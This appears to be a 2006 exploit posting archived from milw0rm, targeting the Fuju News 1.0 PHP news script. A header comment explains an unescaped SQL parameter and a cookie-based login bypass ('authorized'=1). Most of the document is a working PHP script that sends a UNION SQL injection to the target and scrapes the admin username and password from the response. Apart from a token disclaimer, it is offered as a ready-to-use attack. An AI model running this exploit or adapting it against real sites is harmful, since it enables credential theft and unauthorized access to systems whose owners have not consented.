Fuju News 1.0 Authentication Bypass / Remote SQL Injection Exploit
:
<?php /*
|---==============================================================---|
| /¯\__ /¯ |
| ____ ___ __ _ ___ \___ __ ___ |
| / __ / _ / __ / / ___ _ / __ / __ |
| /\__, / / / \_ \_ \_/ \__/ / __/ / |
| /\____/ \_ \_ \__/ \_\ \__ \____\ \_ \_ \____\ \_ |
| /___/ /_//_//__//_/ /__//____/ /_//_//____/ /_/ |
| >> Internet Security |
|---==============================================================---|
title: fuju news 1.0 remote sql injection
release: 2006-04-16
author: snatcher [snatcher at gmx.ch]
country: switzerland |+|
application: Fuju News 1.0
description: a php / mysql based newsscript
download: http://www.clanscripte.net/main.php?content=download&do=file&dlid=243
description: you can get the password with a simple sql injection.
greets: honkey, str0ke <- good exploit publisher :),
all security guys and coders over the world
terms of use: this exploit is just for educational purposes, do not use it for illegal acts.
---------------------------- archiv2.php - line 25 --------------------------------------
$result1 =@mysql_query("SELECT * FROM news_sql WHERE ID LIKE $ID");
-----------------------------------------------------------------------------------------
because this $ID isn't escaped correctly you can insert malicious sql code,
i.e. with a union operator.
title: fuju news 1.0 restriction bypass
------------------------- edit_kategorie.php - line 19 ----------------------------------
$authorized=$HTTP_COOKIE_VARS['authorized'];
-----------------------------------------------------------------------------------------
that's the mistake of the code. you only have to create a session cookie named 'authorized'
with the value 1, and you are logged in.
*/
/*********************** CONFIGURATION ****************************/
$PATH_TO_FILE = 'http://yourhost.com/fuju/archiv2.php'; // in example: http://yourhost.com/fuju/archiv2.php
$TABLE_PREFIX = ''; // default: empty
$GET_VARS = '?ID='; // do not change
$SQL_INJECTION = '-666 union select pw,0,0,benutzer,0,0,pw from '. // do not change
$TABLE_PREFIX.'admin_sql /*';
/**************************** MAIN ********************************/
$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn't open host!');
foreach ($file_array as $now)
$html_content .= $now;
$html_content = str_castrate($html_content);
preg_match_all("!Autor:</span></strong></td></tr><trbordercolorlight='#2E2E2E'bordercolordark='#848484'>".
"<tdalign=leftvalign=topbgcolor="#49535C"><divalign='center'><spanclass='Stil2'>(.*?)</div>!",
$html_content,$username); /* gets username */
preg_match_all("!Kategorie:</span></strong></p></div></td></tr><trbordercolorlight='#2E2E2E'bordercolordark=".
"'#848484'><tdalign=leftvalign=topbgcolor="#49535C"><divalign='center'><fontclass="content"".
"><spanclass='Stil2'>(.*?)</span>!",
$html_content,$password); /* gets password */
if ($username[1][0] && $password[1][0]) {
echo 'username: <b>'.$username[1][0].'</b><br>';
echo 'password: <b>'.$password[1][0].'</b>';
}else {
echo 'exploit failed! <br>';
}
echo '<br><br><br><br><br>
======================================================================<br>
exploit: fuju news 1.0 remote sql injection<br>
release: 2006-04-16<br>
author: snatcher [snatcher at gmx.ch]<br>
======================================================================';
function str_castrate($string) {
$string = str_replace("
", '', $string);
$string = str_replace("
", '', $string);
$string = str_replace(" ", '', $string);
return $string;
}
?>
# milw0rm.com [2006-04-16]